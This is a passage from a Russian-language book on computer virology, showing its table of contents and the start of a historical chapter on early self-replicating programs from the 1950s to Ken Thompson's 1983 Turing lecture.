Примечание.
По мере развития и усложнения компьютерных систем и программ-
ного обеспечения возрастает объем и повышается уязвимость хранящи-
хся в них данных. Одним из новых факторов, резко повысивших эту
уязвимость, является массовое производство программно-совместимых
мощных персональных ЭВМ, которое явилось одной из причин появления
нового класса программ-вандалов - компьютерных вирусов. Наибольшая
опасность, возникающая в связи с опасностью заражения программного
обеспечения компьютерными вирусами, состоит в возможности искаже-
ния или уничтожения жизненно-важной информации, которое может при-
вести не только к финансовым и временным потерям, но и вызвать че-
ловеческие жертвы.
Переход к оглавлению
ОГЛАВЛЕНИЕ
1. ОЧЕРК ИСТОРИИ КОМПЬЮТЕРНЫХ ВИРУСОВ
1.1. Предыстория
1.1.1. Первые эксперименты
1.1.2. Романы Бруннера, Гибсона и расцвет околовирусного
направления в научной фантастике
1.1.3. Apple II и BBS создают условия для распространения
троянских программ и вирусов
1.1.4. Первые эксперименты с сетевыми вирусами
1.1.5. Тьюринговская лекция Кена Томпсона
1.1.6. Игра Бой в памяти, работы Коэна
и другие события 1984 г.
1.1.7. Первые попытки противодействия: список
грязная дюжина и первые антивирусные программы
1.2. Второй этап у компьютеры в осаде
1.2.1. Хакеры
1.2.2. Первые случаи массового заражения
1.2.3. Вирусы и Микрософт: MS DOS как VIR DOS
1.2.4. Появление более вирусоустойчивых альтернатив MS DOS
1.2.5. OS/2 и компьютерные вирусы
1.2.6. Роль компьютерных сетей
1.2.7. Появление вирусов в СССР
1.2.8. Отечественные антивирусные публикации
1.2.9. Первые отечественные антивирусные программы, начало
формирования рынка программных средств защиты от вирусов
1.2.10. Появление аппаратных средств защиты от вирусов
1.2.11. Семинар Системное программирование и бюллетень
СОФТПАНОРАМА
1.2.12. Болгарские и польские исследования
1.2.13. Законы, направленные против техно-крыс
1.2.14. Этические проблемы, связанные с распространением
компьютерных вирусов
1.2.15. Проблема самоизоляции
1.3. Современная ситуация
1.3.1. Хроника событий
1.3.2. Болгарский вирусный взрыв
1.3.3. Колхоз им. Герострата, или вирусы, выращенные в СССР
2. ОБЩИЕ ПРИНЦИПЫ ФУНКЦИОНИРОВАНИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ
2.1. Программы-вандалы
2.2. Троянские программы
2.3. Компьютерные вирусы
2.4. Анатомия компьютерного вируса
2.4.1. Структура файлового нерезидентного вируса
2.4.2. Структура файлового резидентного вируса
2.4.3. Структура бутового вируса
2.5. Панацеи не существует (общая классификация средств защиты)
2.6. Жизненный цикл компьютерных вирусов
2.7. Среда обитания вирусов
2.8. Симптомы заражения
2.9. Вызываемые вирусами эффекты
2.10. Повторное заражение
2.11. Вирусофобия и попытки ее эксплуатации
2.12. О возможности повреждения оборудования
2.13. Легенды о полезных вирусах
3. КЛАССИФИКАЦИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ
3.1. Принцип построения классификации
3.2. Классификация файловых вирусов
3.3. Классификация бутовых вирусов
3.4. Использование классификационных таблиц
4. НЕРЕЗИДЕНТНЫЕ ФАЙЛОВЫЕ ВИРУСЫ, ОБНАРУЖЕННЫЕ В СССР
4.1. Венская группа
4.1.1. Базисный вирус С-648 (Vienna у Вена)
4.1.2. Штамм С-623 (Vienna-X)
4.1.3. Штамм C-627 (Vienna-Y)
4.2. Польская группа
4.2.1. Вирус С-534 (Toothless у Беззубый, W13)
4.2.2. Вирус С-507 (13 месяц-Б, Toothless-B у Беззубый-Б, W13-B)
4.3. Группа IV (Amstrad)
4.3.1. C-345 (Pixel у Пиксель)
4.3.2. C-847 (Amstrad)
4.3.3. C-740 (Canser у Рак)
4.4. Вирус E-1961 (Yankee Doodle-2 у Янки Дудль-2)
4.5. Вирус C-1024 (Bebe у Бебе)
4.6. Вирус C-257
5. РЕЗИДЕНТНЫЕ ФАЙЛОВЫЕ ВИРУСЫ, ОБНАРУЖЕННЫЕ В СССР
5.1. Группа Буквопад
5.1.1. Вирус RС-1701 (Cascade у Буквопад)
5.1.2. Вирус RС-1704 (Cascade-B у Буквопад-Б)
5.2. Иерусалимская группа
5.2.1 Вирус RCE-1813 (Ierusalem у Иерусалим, Black Friday у
Черная пятница)
5.2.2. Вирус RCE-1636 (Sunday у Воскресенье)
5.2.3. Воронежская подгруппа
5.2.3.1. Вирус RC-529 (Peterburg у Петербург, Пакость-1)
5.2.3.2. Вирус RC-600 (Пакость-2)
5.2.3.3. Вирус RC-1600 (Voronezh 2.01 у Воронеж 2.01,
Пакость-3)
5.2.4. Другие представители иерусалимской группы.
5.3. Группа TP-вирусов
5.3.1. Подгруппа Vacsina
5.3.1.1. Вирус RСE-1206 (ТР-05, VACSINA-5)
5.3.1.2. Вирус RCE-1212 (ТР-04, Vacsina-04).
5.3.1.3. Вирус RCE-1339 (ТР-16, Vacsina-10)
5.3.2. Подгруппа музыкальной перезагрузки
5.3.2.1. Вирус RСE-1805 (ТP-25, Yankee Doodle-19 у
Янки дудль-19, Музыкальная перезагрузка)
5.3.2.2. Вирус RСE-1760 (ТP-24, Yankee Doodle-18 у
Янки дудль-18, Музыкальная перезагрузка)
5.3.3. Подгруппа музыкальных самоедов
5.3.3.1. Штамм RCE-2885 (TP-44, Yankee Doodle-2C у
Янки дудль-2С, Five o'clock)
5.3.3.2. Вирус RCE-2680 (ТР-33, Yankee Doodle-21 у
Янки дудль-21)
5.3.3.3. Вирус RCE-2568 (ТР-34, Yankee Doodle-22 у
Янки дудль-22)
5.3.3.4. Вирус RCE-2756 (ТР-38, Yankee Doodle-26 у
Янки дудль-26)
5.3.3.5. Вирус RCE-2901 (ТР-45, Yankee Doodle-2D у
Янки дудль-2D)
5.3.3.6. Вирус RCE-2932 (ТР-41, Yankee Doodle-29 у
Янки дудль-29)
5.4. Группа Avenger
5.4.1. Вирус RCE-1800 (Dark Avenger у Черный мститель; Eddie у
Эдди)
5.4.2. Вирус RCE-02000 (V2000, Anti-Bontchev у Анти-Бончев)
5.5. Вирус RCE-1277 (Murphy у Мерфи)
5.6. Группа второй половины таблицы прерываний
5.6.1. Вирус RC-492 (sI)
5.6.2. Вирус RC-488 (Flu-2 у Грипп-2, LoveChild у Внебрачный
ребенок)
5.7. Группа стелс-вирусов
5.7.1. RCE-04096 (Frodo у Фродо, 4096)
5.7.2. Вирус RC-0-512 (512, 666)
5.8. Вирус RC-394 (Attention у Внимание)
6. ФАЙЛОВЫЕ ВИРУСЫ, ИЗВЕСТНЫЕ ТОЛЬКО ПО ЛИТЕРАТУРЕ
6.1. Общие замечания
6.2. Новые стелс-вирусы
6.2.1. Вирус RCE-03584 (Fish у Рыба)
6.2.2. Вирус Mother Fish (Whale)
6.3. Болгарская серия
6.3.1. Новые вирусы группы Dark Avenger
6.3.1.1. Вирус RCE-0651 (Eddie-3 - Эдди-3)
6.3.1.2. Вирус RC-800 (800, Live after Death - Жизнь после
смерти)
6.3.1.3. Вирус RCE-1024
6.3.1.4. Вирус RCE-02100
6.3.2. Вирус RC-1701p (Phoenix - Феникс)
6.4. Файловые вирусы восточного происхождения
6.4.1. Вирус RCE-2064 (Wolfman)
6.4.2. Вирус C-743 (Taiwan-2)
6.4.3. Вирус RCE-2900 (Taiwan-3 - Тайвань-3)
6.4.4. Вирус RCE-4096 (Plastique)
6.5. Некоторые ископаемые файловые вирусы
6.5.1. Вирус RC-0-346 (Lehigh - Лехайский)
6.5.2. Вирус dBASE
6.5.3. Screen Virus - экранный вирус
6.5.4. Группа первоапрельских вирусов
6.5.4.1. Вирус RC-897
6.5.4.2. Вирус RE-1488 (SURIV 2 - Сурив 2,
6.5.5. Группа Datacrime (Дейтакрайм)
6.5.5.1. Вирус E-1168 (Datacrime B - Дейтакрайм B, 1168,
Columbus Day - День Колумба)
6.5.5.2. Вирус E-1280 (Datacrime B - Дейтакрайм B, 1280,
Columbus Day - День Колумба)
6.5.5.3. Вирус СE-1514
6.5.5.4. Вирус СE-1917 (Datacrime IIB - Дейтакрайм IIB, 1917,
Columbus Day - День Колумба)
6.6. Мифические файловые вирусы
6.6.1. Вирус Cookie, Cookie Monster - Печенье
6.6.2. Вирус, заражающий объектные библиотеки
6.6.3. Вирус падающие головки винчестера
6.6.4. Вирус в сетевом драйвере
6.6.5. Сетевой вирус RCE-2231
6.6.6. Вирусы, поражающие скрытые системные файлы
7. КАТАЛОГ БУТОВЫХ ВИРУСОВ, ОБНАРУЖЕННЫХ В СССP
7.1. Итальянская группа
7.1.1. Вирус Bx1-1C (Ping-Pong - Пинг-понг; Italian Bouncing -
Итальянский попрыгунчик)
7.1.2. Штамм Bx1-1C-b (Ping-Pong modified by Yankee Doodle - Пинг-
понг, модифицированный вирусом Янки Дудль)
7.1.3. Штамм Bx1-1C-с (Hacked Ping-Pong - Искромсанный пинг-понг)
7.1.4. Штамм Bx1-1C-d (Double Ping-pong - двойной пинг-понг)
7.2. Пакистанская группа
7.2.1. Вирус Dx3-E9 (Сингапурский вариант Душманских мозгов)
7.2.2. Вирус Dx3-E9 (Оригинальная версия BRAIN; Pakistani virus -
Пакистанский вирус; Brain-86 - Душманские Мозги-86)
7.2.3. Штамм Dx3-E9 (Ashar - Ашар)
7.3. Южнозеландская группа
7.3.1. Вирус M-05 (Stoned - Забалдевший)
7.3.2. Штамм Stone Rostov
7.3.3. Вирус PrintScreen
7.4. Вирус Bx3-EB (Disk Killer - Диск-киллер)
7.5. Вирус D-29 (Den-Zuk - Ден-Зук)
7.6. Индийская группа
7.6.1. Вирус WM-1F (Joshi - Джоши)
8. БУТОВЫЕ ВИРУСЫ, ИЗВЕСТНЫЕ ТОЛЬКО ПО ЛИТЕРАТУРЕ
8.1. Смешанные бутово-файловые вирусы
8.1.1. Вирус C-2351 (Ghostballs - Мячик призрака)
8.1.2. Вирус RCE-2560 (Virus-101)
8.1.3. Вирус RC-1253 (AntiCad, V-1)
8.1.4. Вирус RCE-1040 (Anthrax)
8.2. Бутовые вирусы восточного происхождения
8.2.1. Вирус Microbes
8.2.2. Вирус AirCop
8.2.3. Вирус Korea
8.2.4. Вирус Ohio
8.3. Ископаемые бутовые вирусы
8.3.1. Вирус Alameda (Аламеда)
8.3.2. Вирус Chaos (Хаос)
8.4. Мифические бутовые вирусы
8.4.1. Вирус Bxxx (Boot Killer - бут-киллер)
9. НЕКОТОРЫЕ СЕТЕВЫЕ ВИРУСЫ
9.1. Вирус Christmas Tree (Рождественская елка)
9.2. Вирус Морриса
9.3. Вирусы в локальных сетях
9.3.1. Вирус 1260
10. ТЕХНОЛОГИЯ ПРИМЕНЕНИЯ СРЕДСТВ ЗАЩИТЫ ОТ ВИРУСОВ
10.1. Классификация cредств защиты от вирусов
10.2. Основная технологическая схема защиты
10.2.1. Организация входного контроля нового программного
обеспечения
10.2.1.1. Понятия достоверной дистрибутивной копии и
сертификата
10.2.1.2. Контроль текстовых строк, содержащихся в файле
10.2.1.3. Использование отладчиков и дизассемблеров
10.2.2. Карантинный режим
10.2.2.1. Троянские компоненты в незаконно распространяемых
копиях программ и программах со сломанной защитой
10.2.2.2. Троянские компоненты в антивирусных программах
10.2.2.3. После покупки компьютера проверяйте содержимое
винчестера
10.2.3. Сегментация информации на винчестере
10.2.4. Защита операционной системы от заражения
10.2.4.1. Стратегия защиты командного процессора
10.2.4.2. Использование каталога BAT-файлов
10.3. Архивирование
10.3.1. Используйте программы резервирования FAT и главного
каталога в AUTOEXEC.BAT
10.3.2. Используйте систему неделя-месяц-год
10.3.3. В защиту бумажной технологии
10.3.4. Запомните параметры, хранящиеся в СMOS-памяти, пока еще не
поздно
10.3.5. Переписывая программы, различайте эталонную и рабочую
копию
10.4. Методика применения средств защиты
10.4.1. Типичные ошибки
10.4.2. Методика применения детекторов
10.4.2.1. Использование Norton Utilities и PCTools как
универсальных детекторов вирусов
10.4.2.2. Поиск текстовых сигнатур
10.4.3. Методика применения фагов
10.4.4. Методика использования резидентных сторожей
10.4.5. Методика использования ревизоров
10.4.6. Вакцинирование
10.4.7. Критерии оценки качества антивирусных программ
10.4.7.1. Критерии оценки качества детекторов
10.4.7.2. Сравнительный анализ полифагов
10.4.7.3. Критерии оценки и сравнительный анализ ревизоров
10.4.7.4. Сравнительный анализ вакцин
10.4.7.5. Критерии оценки сторожей
10.4.8. О первом конкурсе антивирусных программ, распространяемых
бесплатно
10.4.8.1. Оценки и рекомендации жюри по полифагам
10.4.8.1.1. A I D S T E S T
10.4.8.1.2. D O C T O R
10.4.8.2. Оценки и рекомендации жюри по детекторам и ревизорам
10.4.8.2.1. D L I
10.4.8.2.2. V L
10.4.8.3. Оценки и рекомендации жюри по сторожам и вакцинам
10.4.8.3.1. S B M и C H E C K 2 1
10.5. Отдельные приемы защиты
10.5.1. Регулярно оптимизируйте винчестер
10.5.2. Прятать новые версии антивирусных программ просто
невыгодно
10.5.3. Нормальное состояние дискеты - защищенное от записи
10.5.4. Как работать на зараженном файловым вирусом компьютере при
отсутствии вакцины
10.5.5. При хранении антивирусных программ на винчестере
используйте архивирование
10.5.6. Использование макетов программ типа DUMYxxxx для
определения место нахождения спрятанных байтов
10.6. Методика восстановления информации
10.6.1. Создайте и отработайте план восстановления винчестера !
10.6.2. Если что-то случилось - избегайте поспешных действий
10.6.3. Советы по восстановлению информации
10.7. Некоторые организационные меры защиты
10.8. Юридические методы защиты от компьютерных вирусов
10.8.1. Некоторые судебные процессы над кракерами и разработчиками
вирусов
11. ЗАКЛЮЧЕНИЕ
ЛИТЕРАТУРА
ПРИЛОЖЕНИЕ 1. Классификационная таблица файловых вирусов, обнаруженных в
CCCР
ПРИЛОЖЕНИЕ 2. Классификационная таблица бутовых вирусов, обнаруженных в
CCCР
ПРИЛОЖЕНИЕ 3. Классификационная таблица файловых вирусов, известных
только по литературе
ПРИЛОЖЕНИЕ 4. Классификационная таблица бутовых вирусов, известных
только по литературе
ПРИЛОЖЕНИЕ 5. Перечень отечественных антивирусных средств, помещенных в
выпусках электронного бюллетеня СОФТПАНОРАМА
ПРИЛОЖЕНИЕ 6. Некоторые сведения о файловой системе MS DOS
ПРИЛОЖЕНИЕ 7. Исполняемые файлы и связанные с ними системные блоки
ПРИЛОЖЕНИЕ 8. Прерывания MS DOS
ПРИЛОЖЕНИЕ 9. Наиболее часто используемые функции MS DOS
1. ОЧЕРК ИСТОРИИ КОМПЬЮТЕРНЫХ ВИРУСОВ
1.1. Предыстория
Vestigia semper adora
(Всегда уважай следы)
Стаций (40-50 до н.э.)
Компьютерные вирусы являются одной из разновидностей компьютер-
ного вандализма, получившего распространение в конце 80-х гг. Ис-
торически их возникновение связано с идеей создания самовоспроиз-
водящихся программ -- концепции, уходящей своими корнями в пятиде-
сятые годы. Идея самовоспроизводящихся механизмов исследовалась
еще Джоном фон Нейманом, который в 1951 г. предложил метод созда-
ния таких механизмов. Несомненно, идея вирусоподобных программ не-
однократно открывалась и переоткрывалась различными авторами. Тем
не менее, восстановление приоритета исследователей в опубликовании
той или иной грани концепции вирусоподобных программ является в
какой-то мере актом восстановления справедливости по отношению к
тем, чьи работы были незаслуженно забыты или вообще проигнорирова-
ны. Это касается прежде всего европейских исследователей, вклад
которых в разработку различных проблем системного программирования
часто игнорируется или замалчивается в американских публикациях.
Первой публикацией, связанной с рассматриваемой концепцией, мож-
но считать статью Л.С.Пенроуза (L.S.Penrose) о самовоспроизводя-
щихся механических структурах [Penrose59], опубликованную в
1959 г. американским журналом Scientific American. В этой
статье, наряду с примерами чисто механических конструкций, была
приведена некая двумерная модель подобных структур, способных к
активации, захвату и освобождению. Под влиянием этой статьи
Ф.Ж.Шталь (F.G.Stahl) запрограммировал на машинном языке ЭВМ IBM
650 биокибернетическую модель, в которой существа двигались, пита-
ясь ненулевыми словами [Dewdney85]. При N передвижениях без пищи
существо умирало от голода, а после съедания определенного количе-
ства слов порождало новое. При размножении была предусмотрена воз-
можность мутаций, в ходе которых существа могли приобретать спо-
собность пожирать себе подобных и терять возможность к размноже-
нию. Однако ограниченная память и быстродействие IBM 650 послужили
препятствием для получения интересных результатов: в ходе пробного
прогона один бесплодный мутант убил и съел единственного, способ-
ного к размножению.
1.1.1. Первые эксперименты
В 1962 г. В.А.Высотский (V.А.Vyssotsky), Х.Д.Макилрой
(H.D.McIlroy) и Роберт Моррис (Robert Morris) -- фирма Bell
Telephone Laboratories, США -- изобрели достаточно необычную игру
Дарвин, в которой несколько ассемблерных программ, названных
организмами, загружались в память компьютера. Организмы, создан-
ные одним игроком (т.е. принадлежащие к одному виду), должны были
уничтожать представителей другого вида и захватывать жизненное
пространство. Победителем считался тот игрок, чьи организмы захва-
тывали всю память или набирали наибольшее количество очков. Игра
проходит на большом участке памяти, называемом ареной и управляе-
мом специальной программой -- супервизором. Вид V состоит из N(V)
особей. Каждая особь (K=1..N(V)) имеет размер S(K) (K=1..N(V),
S(K) < MAXS) и расположена в R(K) последовательных ячейках, начи-
ная с головы G(K), причем R(V) точек со смещениями
P(K,1)..P(K,R(V)) относительно головы являются защищенными. Орга-
низм, который получает управление, может использовать три вида об-
ращения к супервизору:
PROBE(n,loc) -- запрос о содержании ячейки с адресом loc (если
эта ячейка защищена, то управление передается ее обладателю, а ес-
ли нет, то возвращаются три числа -- <номер вида организма, занима-
ющего ячейку> (ноль, если ячейка свободна), <начало> и <конец>
(если ячейка свободна, то начало и конец свободного участка арены,
в который она входит; нули, если ячейка занята организмом));
KILL(loc) -- уничтожить организм по адресу loc (loc должна при-
надлежать организму другого вида и должна быть предварительно исс-
ледована PROBE любым организмом того же вида, что и нападающий);
CLAIM(n,loc) -- размножить организм на участок свободного про-
странства, включающий loc (ячейка loc должна быть предварительно
исследована с помощью PROBE и не менее S(K) ячеек должно быть сво-
бодно, возможно, в результате предыдущего KILL).
Игра для полуночников, возникшая в фирме Bell Telephone
Laboratories, быстро приобрела популярность и в других учебных и
исследовательских центрах, например в исследовательском центре
фирмы Ксерокс в Пало Альто и в Массачусетском институте технологии
(МИТ). Отметим, что долгое время описание игры существовало только
в устном фольклоре: статья с описанием игры была опубликована
только в 1972 г. [SP&E72], причем в ее тексте использовался термин
вирус применительно к одному из видов организмов.
Приблизительно в 1970 г. была создана саморазмножающаяся про-
грамма для одной из первых компьютерных сетей -- APRAnet. Программа
CREEPER, которая по некоторым данным была написана Бобом Томасом
(Bob Thomas) из BBN, путешествовала по сети, обнаруживая свое по-
явление сообщением
I'M THE CREEPER ... CATCH ME IF YOU CAN
(Я КРИПЕР ... ПОЙМАЙ МЕНЯ, ЕСЛИ СМОЖЕШЬ).
Для борьбы с ней была создана программа REAPER, которая также
путешествовала по сети и уничтожала встретившиеся экземпляры
CREEPER. Эта идея, представляющая собой вариацию подхода, распро-
страненного в среде знахарей, -- подобное лечится подобным, позд-
нее неоднократно использовалась и в других программах борьбы с
ранними вирусами, однако в целом оказалась неудачной.
В 1974 г. была написана программа RABBIT (Кролик), которая раз-
множалась на трех соединенных между собой машинах IBM, причем по-
явление новых подзадач вызывало замедление реакции, а затем и пол-
ное зависание машин.
Другим примером вирусоподобных программ была игра Animal (Живо-
тное), разработанная примерно в 1975 г. для UNIVAC 1108. Суть этой
игры состояла в том, что человек задумывал некоторое животное, и
программа, задавая вопросы, пыталась определить, какое животное
загадал человек. Программист, написавший игру, предусмотрел в ней
возможность саморазмножения. Когда программа угадывала неправиль-
но, она просила пользователя предложить вопрос, который позволил
бы улучшить ее способности к отгадыванию данного животного. Запом-
нив этот вопрос, программа не только модифицировала себя, но и пы-
талась переписать свою обновленную (улучшенную) копию в другой ка-
талог. Если там уже была программа Animal, то она стиралась. В
противном случае создавалась новая копия. Оказалось, что через не-
которое время все каталоги файловой системы содержали копию
Animal. Более того, если пользователь переходил с машины на маши-
ну, то он переносил и свой каталог, и в результате во всех катало-
гах этой ЭВМ также появлялась Animal. При этом совокупность копий
Animal занимала значительное файловое пространство, что в те вре-
мена воспринималось как проблема. В соответствии с фольклорной
версией решения проблемы, опубликованной в [Dewdney85], была раз-
работана новая, более инфицирующая модификация игры, которая ко-
пировала себя не один раз, а дважды, тем самым быстро вытесняя со-
бой старую версию. По истечении заданного срока она предлагала
пользователю сыграть последний раз, а затем сама стирала себя с
диска. В действительности, борьба проходила на уровне операционной
системы: в версии 33 операционной системы Exec 8 для этой ЭВМ был
изменен формат таблицы файлов, и игра потеряла возможность размно-
жаться.
1.1.2. Романы Бруннера, Гибсона и расцвет околовирусного направления в научной фантастике
В вышедшем в 1975 г. научно-фантастическом романе The Shockware
Rider Джон Бруннер (John Brunner) [Brunner75] описал червей --
программы, распространяющиеся по сети. Эта идея в определенной
степени предвосхитила последующие события (см. ниже сетевой вирус
Морриса), хотя ее осуществление находилось за пределами возможно-
стей компьютеров того времени. Данная книга оказалась в числе бес-
тселлеров и безусловно повлияла на ход дальнейших событий.
В 1977 г. издательством Collier Books был опубликован еще один
научно-фантастический роман -- The Adolescence of P-1 (Юность П-
1) [Ryan77], разрабатывавший ту же тему. Его автор, Томас Риан
(Thomas J. Ryan), создал образ достаточно жуткого разумного ви-
руса, занимающегося сбором информации.
Забегая вперед отметим, что в 1984 г. В.Гибсон (W.Gibson) опуб-
ликовал научно-фантастический роман Neuromancer [Gibson84] --
второй после Бруннера бестселлер, в котором фигурируют компьютер-
ные вирусы. Этот роман также можно рассматривать как катализатор
реальных событий. В частности, в нем впервые было введено понятие
киберпространства. Этим словом названа глобальная компьютерная
коммуникационная сеть, в которой ввод и вывод осуществляется не с
помощью клавиатуры и дисплея, а с помощью согласованных галлюци-
наций. Несмотря на фантастичность идеи, оказалось, что улица на-
ходит свое применение любым вещам. В настоящее время под киберп-
ространством понимается система, в которой у пользователя создает-
ся трехмерное восприятие объектов некоего искусственного мира и
иллюзия того, что он находится внутри соответствующего искусствен-
ного пространства, а не просто наблюдает его изображение на экране
дисплея. Если видеоигры -- это фильмы с участием игрока, то киберп-
ространство -- это парк аттракционов, где можно испытать все, что
только можно вообразить. В настоящее время фирма Autodesk осущест-
вляет проект Cyberspace, в рамках которого разработан ряд уст-
ройств для создания киберпространства [Уолсер90]. К ним относятся
специальный шлем (со встроенным дисплеем и датчиками перемещения
головы), а также специальные перчатки PowerGlove фирмы Nintendo,
которые позволяют оцифровывать и вводить любые перемещения пальцев
руки. Недалек тот день, когда участники международного коллектива
разработчиков смогут собираться в виртуальном конференц-зале, де-
монстрируя друг другу различные проектные решения, обсуждая и тут
же внося изменения. При этом каждый участник будет видеть вирту-
альные тела других участников, сможет подходить к ним и разговари-
вать, хотя к сожалению, при встрече со знакомой девушкой нельзя
будет ее обнять. Но это все в будущем. А сейчас вернемся к истории
компьютерных вирусов.
Упомянутые выше романы положили начало литературному направлению
околовирусного толка, в котором концепция вирусов разрабатывает-
ся с различных точек зрения. В частности, сюжет французского шпи-
онского детектива Softwar: la guerre douce Терри Брентона
(Thierry Brenton) и Дениса Бенеша (Denis Beneich), опубликованного
в 1985 г. [Brenton85], основан на продаже СССР американского су-
перкомпьютера для метеорологической сети. Вместо блокирования
сделки американская администрация, демонстрируя напускное нежела-
ние продать компьютер, санкционирует его доставку в СССР. В то же
время в системное программное обеспечение компьютера заносится
логическая бомба. При определенных условиях она взрывается и
уничтожает все программное обеспечение в советской сети. В той ме-
ре, в которой этот сюжет представляет собой реальную возможность,
это самая настоящая война программ с агентом-подрывником в качест-
ве действующего лица. Поскольку метеорологическая сеть так или
иначе связана с авиационными и ракетными системами, роман застав-
ляет нас задуматься. Этот поток научно-фантастической литературы,
посвященной вирусам, безусловно сыграл определенную роль в популя-
ризации идеи и привлечении к ней внимания студенческой молодежи
(см. ниже). Из последних романов этого направления следует отме-
тить второй роман В.Гибсона Mona Lisa Overdrive, вышедший в
1988 г. [Gibson88].
1.1.3. Apple II и BBS создают условия для распространения троянских программ и вирусов
Весной 1977 г. появился первый персональный компьютер Apple II.
Эта модель находилась в производстве с 20 апреля 1977 г. по 1 ав-
густа 1983 г. Общее количество проданных машин составило более 3
млн. шт., что на порядок превышало количество ЭВМ других серий.
Поэтому для этих машин появились объективные возможности создания
реальных компьютерных вирусов, и эти возможности очень быстро были
осознаны и реализованы. Неудивительно, что Apple II послужил ра-
бочей лошадкой для разработчиков доисторических компьютерных
вирусов.
Параллельно с массовой продажей компьютеров Apple, в конце 70-х
годов на Западе отмечается бурное развитие сетей для передачи ин-
формации на базе обычных телефонных каналов. Появляются первые
банки свободно распространяемых программ и данных -- BBS (Bulletin
Board System -- буквально доска объявлений для программ). В этот
банк любой программист мог загрузить (download) свою программу, и
любой пользователь мог ее считать и запустить на своем компьютере.
Это существенно увеличило и ускорило трафик программ, тем более
что многие университетские компьютерные центры (традиционно являю-
щиеся центрами разработки различного рода бесплатных программ) ор-
ганизовали свои BBS. Позднее появились и большие онлайновые инфор-
мационные системы, такие как CompuServe, которые охватывали прак-
тически все западные страны. С появлением BBS получил распростра-
нение и новый вид компьютерного хулиганства: загрузка в нее про-
граммы, выводящей какие-то привлекательные картинки или претендую-
щей на выполнение какой-либо полезной функции, которая сразу после
запуска (чистая программа-вандал) или через некоторое время, или
при выполнении некоторого условия (троянская программа-вандал)
уничтожала данные на компьютере пользователя, переписавшего и за-
пустившего ее на своем компьютере. Такие программы-вандалы можно
рассматривать как исторических предшественников вирусов-вандалов,
тем более что их разрабатывает по сути один и тот тип личностей.
В 1980 г. появилась первая и весьма примечательная европейская
публикация по компьютерным вирусам -- Самовоспроизводящиеся про-
граммы Й.Крауса. Ее автор -- сотрудник кафедры информатики До-
ртмундского университета -- не только дал достаточно точное опреде-
ление компьютерных вирусов, но и привел в своей работе листинги
компьютерных вирусов (на языке ассемблера фирмы Сименс -- клона из-
вестной системы 360 фирмы IBM). К сожалению, данная публикация
представляла собой препринт Дортмундского университета и широкого
распространения не получила. По мнению Р.Бургера, автора первой
книги по компьютерным вирусам, опубликованной впервые в 1987 г.
издательством DATA BECKER GmbH [Burger88], уровень этой работы су-
щественно превосходит уровень исследований Ф.Коэна (см. ниже), по-
этому обидно, что она практически забыта и не цитируется в совре-
менных исследованиях по компьютерным вирусам.
В 1981-82 гг. появился первый, получивший некоторое распростра-
нение, бутовый вирус на ПЭВМ Apple II. Этот вирус, получивший на-
звание ELK CLONER, обнаруживал свое присутствие сообщением, содер-
жавшим даже небольшое стихотворение:
ELK CLONER:
THE PROGRAM WITH A PERSONALITY
IT WILL GET ON ALL YOUR DISKS
IT WILL INFILTRATE YOUR CHIPS
YES, IT'S CLONER
IT WILL STICK TO YOU LIKE GLUE
IT WILL MODIFY RAM, TOO
SEND IN THE CLONER!
Поскольку винчестеров тогда еще не было, борьба с ним состояла в
использовании защитных наклеек на дискетах.
Другой вирус для Apple II был создан в 1982 г. студентом Техас-
ского университета. Он был рассчитан на операционную систему DOS
3.3 для этой ПЭВМ (не путать с более поздней операционной системой
MS DOS 3.3 для ПЭВМ, совместимых с IBM PC). Не до конца отлаженная
версия этого вируса ускользнула от автора и начала распростра-
няться по университету. Ошибка в вирусе вызывала подавление графи-
ки популярной игры под названием CONGO, и в течение нескольких не-
дель все (пиратские) копии этой игры перестали работать. Для ис-
правления ситуации автор запустил новый, исправленный вирус, пред-
назначенный для замещения предыдущей версии. Как мы видим, идея
подобное лечится подобным открывалась и переоткрывалась много-
кратно.
1.1.4. Первые эксперименты с сетевыми вирусами
В октябре 1980 г. в сети APRANET была обнаружена программа, по
некоторым описаниям вызывавшая перепутывание адресов посылаемых
по сети сообщений, что вызывало появление множества сообщений не-
верный статус пользователя. В результате систему пришлось выклю-
чить, и она была восстановлена только через три дня.
В 1982 г. не без влияния упоминавшегося выше романа Бруннера со-
трудниками исследовательского центра фирмы XEROX в Пало Альто
(родине Смолтока) была создана программа-червь и проведен ряд
экспериментов, результаты которых опубликованы в ведущем американ-
ском компьютерном журнале [Shoch82]. Идея, которой руководствова-
лись авторы программы, состояла в том, что программа, требующая
значительных вычислительных мощностей, захватывала все простаиваю-
щие, но подключенные к сети ЭВМ, с тем, чтобы например, ночью ис-
пользовать максимум подключенных вычислительных мощностей, а ут-
ром, когда пользователи начинают выполнять свои вычисления, осво-
бождать их, сохраняя промежуточные результаты вычислений. Днем
программа перебивалась бы одной -- двумя машинами, а ночью опять
захватывала бы все свободные вычислительные мощности. В связи с
этой способностью к ночному распространению такую программу пра-
вильнее было бы назвать не червяком, а вампиром. При проведении
эксперимента по запуску червяка в сеть наблюдалось его неконтроли-
руемое распространение и зависание части зараженных червяком ма-
шин. Поскольку эксперимент проводился на локальной сети Ethernet и
некоторые комнаты с включенными машинами следующим утром оказались
закрытыми, копии червя в этих машинах заражали другие машины. К
счастью, авторы предусмотрели такую возможность и послали по сети
команду самоуничтожения всем копиям червяка.
1.1.5. Тьюринговская лекция Кена Томпсона
В 1983 г. Кену Томпсону (Ken Thompson) -- создателю всемирно из-
вестной операционной системы UNIX, была присуждена самая престиж-
ная в мире программирования премия -- премия имени Тьюринга Амери-
канской ассоциации компьютерной техники (Association for computing
machinery) -- самой старой и наиболее массовой организации амери-
канских программистов. Свою замечательную тьюринговскую лекцию
(читаемую каждым лауреатом на ежегодном съезде общества) Кен Томп-
сон посвятил не истории создания системы UNIX, а проблеме внесения
тонких ошибок в код компилятора, которые невозможно обнаружить пу-
тем анализа исходного текста последнего [Thompson84]. Хотя в то
время данная тема казалась чем-то незначительным, Томпсон затронул
важную проблему, ставшую актуальной только с появлением компьютер-
ных вирусов. В своем заключении -- оказавшемся в значительной мере
пророческим -- он в частности сказал:
Нельзя доверять программам, написанным не вами самими т Ника-
кой объем верификации исходного текста и исследований не защитит
вас от использования ненадежного (untrusted) кода. По мере того
как уровень языка, на котором написана программа, снижается, нахо-
дить эти ошибки становится все труднее и труднее. Хорошо проду-
манную (well installed) ошибку в микрокоде найти почти невозмож-
но.
Я хотел бы подвергнуть критике прессу за ее освещение проблемы
хакеров, банды 414, банды Дальтона (Dalton gang) и т.д. Действия
